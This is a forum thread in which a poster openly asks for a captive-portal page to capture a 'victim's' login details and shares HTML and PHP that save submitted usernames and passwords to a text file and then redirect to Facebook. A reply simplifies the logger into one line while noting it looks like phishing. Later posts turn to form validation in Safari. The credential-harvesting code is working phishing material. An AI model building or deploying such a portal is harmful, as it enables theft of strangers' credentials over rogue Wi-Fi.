Jump to content

captive portal template


Mother
 Share

Recommended Posts

First off I am no coder so. I want to create a custom html that ask a victim for creds then post the creds to a txt file in current directory. So far I have a simple html .

login.html

<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>

login.php

<html>
 <head>
  <title>Login</title>
 </head>
 <body>

<?php

//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){

$myFile = "log.txt";
$fh = fopen($myFile, "w+") or die("can't open file");
$stringData = $_POST['username'] . ":";
echo fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
echo fwrite($fh, $stringData);
fclose($fh);

}

?>



<script>location.href='https://facebook.com';</script>

</body>
</html>

I am running this on Kali with Apache2. I can input the text and hit login then it redirects me to Facebook just fine. The only issue is that is does not create the log.txt in /var/www.

I am on Kali 2016.2. I want to move this the the Nano for the captive portal. Any Ideas???

 

Thanks

Link to comment
Share on other sites

//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){

$myFile = "log.txt";
$fh = fopen($myFile, "w+") or die("can't open file");
$stringData = $_POST['username'] . ":";
echo fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
echo fwrite($fh, $stringData);
fclose($fh);

}

This would be a lot cleaner:

if (isset($_POST['username'])) {
	file_put_contents("log.txt", $_POST['username'] . ' : ' . $_POST['password'], FILE_APPEND);
}

I didn't test it but it should work.

Also I should point out that it appears that you are trying to do some phishing here.. phishing is against the forum rules so this will probably get locked. I'll leave my example up just for educational purposes but I do not condone phishing and if you use my code for that I'm not responsible. 

Edited by newbi3
Link to comment
Share on other sites

  • 1 month later...
  • 2 weeks later...

Hi, not trying to hijack the thread but it seems that this would be the right place to ask coding questions related to captive portals. The following code works well on any browser except Safari what would be the equivalent.

<input type="text" name="name" required>

making a required field does not seem to work in Safari and users can just click the button leaving any text boxes blank and still get through.

Link to comment
Share on other sites

2 hours ago, Wiz said:

Hi, not trying to hijack the thread but it seems that this would be the right place to ask coding questions related to captive portals. The following code works well on any browser except Safari what would be the equivalent.

<input type="text" name="name" required>

making a required field does not seem to work in Safari and users can just click the button leaving any text boxes blank and still get through.

http://stackoverflow.com/a/23261375

Link to comment
Share on other sites

Thanks for the link I did find that code in a search earlier but could not get it working, however I did resolve the problem using another approach. Now I need to make an email text box validate the proper format so that a user cannot enter any characters and get bye. Again this is for Safari since in other browsers it works well.

Link to comment
Share on other sites

4 minutes ago, Wiz said:

Thanks for the link I did find that code in a search earlier but could not get it working, however I did resolve the problem using another approach. Now I need to make an email text box validate the proper format so that a user cannot enter any characters and get bye. Again this is for Safari since in other browsers it works well.

Client side data validation is bad, but you can do it in JavaScript with a simple if/else statement and a string match.

Link to comment
Share on other sites

  • 2 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...